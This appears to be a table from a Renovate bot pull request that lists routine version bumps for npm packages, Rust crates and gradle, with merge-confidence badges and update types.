| [@radix-ui/react-select](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`2.1.3` -> `2.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-select/2.1.3/2.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-select/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-select/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-select/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-select/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-toast](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.3` -> `1.2.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-toast/1.2.3/1.2.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-toast/1.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-toast/1.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-toast/1.2.3/1.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-toast/1.2.3/1.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-tooltip](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.5` -> `1.1.6`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tooltip/1.1.5/1.1.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tooltip/1.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tooltip/1.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tooltip/1.1.5/1.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tooltip/1.1.5/1.1.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@sentry/electron](https://redirect.github.com/getsentry/sentry-electron) | [`5.8.0` -> `5.9.0`](https://renovatebot.com/diffs/npm/@sentry%2felectron/5.8.0/5.9.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2felectron/5.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2felectron/5.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2felectron/5.8.0/5.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2felectron/5.8.0/5.9.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.45.0` -> `8.47.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.45.0/8.47.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.45.0/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.45.0/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.45.0` -> `8.47.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.45.0/8.47.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.45.0/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.45.0/8.47.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@shoelace-style/shoelace](https://redirect.github.com/shoelace-style/shoelace) | [`2.19.0` -> `2.19.1`](https://renovatebot.com/diffs/npm/@shoelace-style%2fshoelace/2.19.0/2.19.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@shoelace-style%2fshoelace/2.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@shoelace-style%2fshoelace/2.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@shoelace-style%2fshoelace/2.19.0/2.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@shoelace-style%2fshoelace/2.19.0/2.19.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| @&#8203;types/dompurify | [`3.0.5` -> `3.2.0`](https://renovatebot.com/diffs/npm/@types%2fdompurify/3.0.5/3.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fdompurify/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fdompurify/3.0.5/3.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.1` -> `19.0.2`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.1/19.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.1/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.1/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vanilla-extract/css](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/css)) | [`1.16.1` -> `1.17.0`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fcss/1.16.1/1.17.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fcss/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fcss/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fcss/1.16.1/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fcss/1.16.1/1.17.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@vanilla-extract/vite-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/vite-plugin)) | [`4.0.18` -> `4.0.19`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fvite-plugin/4.0.18/4.0.19) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fvite-plugin/4.0.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fvite-plugin/4.0.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fvite-plugin/4.0.18/4.0.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fvite-plugin/4.0.18/4.0.19?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@vanilla-extract/webpack-plugin](https://redirect.github.com/vanilla-extract-css/vanilla-extract) ([source](https://redirect.github.com/vanilla-extract-css/vanilla-extract/tree/HEAD/packages/webpack-plugin)) | [`2.3.15` -> `2.3.16`](https://renovatebot.com/diffs/npm/@vanilla-extract%2fwebpack-plugin/2.3.15/2.3.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@vanilla-extract%2fwebpack-plugin/2.3.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@vanilla-extract%2fwebpack-plugin/2.3.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@vanilla-extract%2fwebpack-plugin/2.3.15/2.3.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@vanilla-extract%2fwebpack-plugin/2.3.15/2.3.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [anyhow](https://redirect.github.com/dtolnay/anyhow) | `1.0.94` -> `1.0.95` | [![age](https://developer.mend.io/api/mc/badges/age/crate/anyhow/1.0.95?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/anyhow/1.0.95?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/anyhow/1.0.94/1.0.95?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/anyhow/1.0.94/1.0.95?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [chalk](https://redirect.github.com/chalk/chalk) | [`5.3.0` -> `5.4.1`](https://renovatebot.com/diffs/npm/chalk/5.3.0/5.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/chalk/5.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/chalk/5.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/chalk/5.3.0/5.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/chalk/5.3.0/5.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [esbuild](https://redirect.github.com/evanw/esbuild) | [`0.24.0` -> `0.24.2`](https://renovatebot.com/diffs/npm/esbuild/0.24.0/0.24.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/esbuild/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/esbuild/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/esbuild/0.24.0/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/esbuild/0.24.0/0.24.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [gradle](https://gradle.org) ([source](https://redirect.github.com/gradle/gradle)) | `8.11.1` -> `8.12` | [![age](https://developer.mend.io/api/mc/badges/age/gradle-version/gradle/8.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/gradle-version/gradle/8.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/gradle-version/gradle/8.11.1/8.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/gradle-version/gradle/8.11.1/8.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`8.27.0` -> `8.29.0`](https://renovatebot.com/diffs/npm/html-validate/8.27.0/8.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/8.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/8.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/8.27.0/8.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/8.27.0/8.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [i18next](https://www.i18next.com) ([source](https://redirect.github.com/i18next/i18next)) | [`24.1.0` -> `24.2.0`](https://renovatebot.com/diffs/npm/i18next/24.1.0/24.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/i18next/24.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/i18next/24.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/i18next/24.1.0/24.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/i18next/24.1.0/24.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [ioredis](https://redirect.github.com/luin/ioredis) | [`5.4.1` -> `5.4.2`](https://renovatebot.com/diffs/npm/ioredis/5.4.1/5.4.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/ioredis/5.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/ioredis/5.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/ioredis/5.4.1/5.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/ioredis/5.4.1/5.4.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.10.3` -> `2.10.4`](https://renovatebot.com/diffs/npm/jotai/2.10.3/2.10.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.10.3/2.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.10.3/2.10.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [jotai-effect](https://redirect.github.com/jotaijs/jotai-effect) | [`1.0.5` -> `1.0.7`](https://renovatebot.com/diffs/npm/jotai-effect/1.0.5/1.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai-effect/1.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai-effect/1.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai-effect/1.0.5/1.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai-effect/1.0.5/1.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [katex](https://katex.org) ([source](https://redirect.github.com/KaTeX/KaTeX)) | [`0.16.15` -> `0.16.18`](https://renovatebot.com/diffs/npm/katex/0.16.15/0.16.18) | [![age](https://developer.mend.io/api/mc/badges/age/npm/katex/0.16.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/katex/0.16.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/katex/0.16.15/0.16.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/katex/0.16.15/0.16.18?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [keyv](https://redirect.github.com/jaredwray/keyv) | [`5.2.2` -> `5.2.3`](https://renovatebot.com/diffs/npm/keyv/5.2.2/5.2.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/keyv/5.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/keyv/5.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/keyv/5.2.2/5.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/keyv/5.2.2/5.2.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.468.0` -> `^0.469.0`](https://renovatebot.com/diffs/npm/lucide-react/0.468.0/0.469.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.469.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.469.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.468.0/0.469.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.468.0/0.469.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [mixpanel-browser](https://redirect.github.com/mixpanel/mixpanel-js) | [`2.56.0` -> `2.58.0`](https://renovatebot.com/diffs/npm/mixpanel-browser/2.56.0/2.58.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/mixpanel-browser/2.58.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/mixpanel-browser/2.58.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/mixpanel-browser/2.56.0/2.58.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/mixpanel-browser/2.56.0/2.58.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.23` -> `3.0.0-alpha.24` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.24?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.24?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.23/3.0.0-alpha.24?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.23/3.0.0-alpha.24?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-build](https://redirect.github.com/napi-rs/napi-rs) | `2.1.3` -> `2.1.4` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-build/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-build/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-build/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-build/2.1.3/2.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.21` -> `3.0.0-alpha.22` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.22?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.22?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.21/3.0.0-alpha.22?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.21/3.0.0-alpha.22?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.76.3` -> `4.77.0`](https://renovatebot.com/diffs/npm/openai/4.76.3/4.77.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.77.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.77.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.76.3/4.77.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.76.3/4.77.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [react-hook-form](https://www.react-hook-form.com) ([source](https://redirect.github.com/react-hook-form/react-hook-form)) | [`7.54.1` -> `7.54.2`](https://renovatebot.com/diffs/npm/react-hook-form/7.54.1/7.54.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-hook-form/7.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-hook-form/7.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-hook-form/7.54.1/7.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-hook-form/7.54.1/7.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-router-dom](https://redirect.github.com/remix-run/react-router) ([source](https://redirect.github.com/remix-run/react-router/tree/HEAD/packages/react-router-dom)) | [`6.28.0` -> `6.28.1`](https://renovatebot.com/diffs/npm/react-router-dom/6.28.0/6.28.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-router-dom/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-router-dom/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-router-dom/6.28.0/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-router-dom/6.28.0/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-router-dom](https://redirect.github.com/remix-run/react-router) ([source](https://redirect.github.com/remix-run/react-router/tree/HEAD/packages/react-router-dom)) | [`6.28.0` -> `6.28.1`](https://renovatebot.com/diffs/npm/react-router-dom/6.28.0/6.28.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-router-dom/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-router-dom/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-router-dom/6.28.0/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-router-dom/6.28.0/6.28.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [serde_json](https://redirect.github.com/serde-rs/json) | `1.0.133` -> `1.0.134` | [![age](https://developer.mend.io/api/mc/badges/age/crate/serde_json/1.0.134?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/serde_json/1.0.134?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/serde_json/1.0.133/1.0.134?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/serde_json/1.0.133/1.0.134?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.24.2` -> `1.24.4`](https://renovatebot.com/diffs/npm/shiki/1.24.2/1.24.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.24.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.24.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.24.2/1.24.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.24.2/1.24.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [stripe](https://redirect.github.com/stripe/stripe-node) | [`17.4.0` -> `17.5.0`](https://renovatebot.com/diffs/npm/stripe/17.4.0/17.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/stripe/17.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/stripe/17.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/stripe/17.4.0/17.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/stripe/17.4.0/17.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss)) | [`3.4.16` -> `3.4.17`](https://renovatebot.com/diffs/npm/tailwindcss/3.4.16/3.4.17) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/3.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/3.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/3.4.16/3.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/3.4.16/3.4.17?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
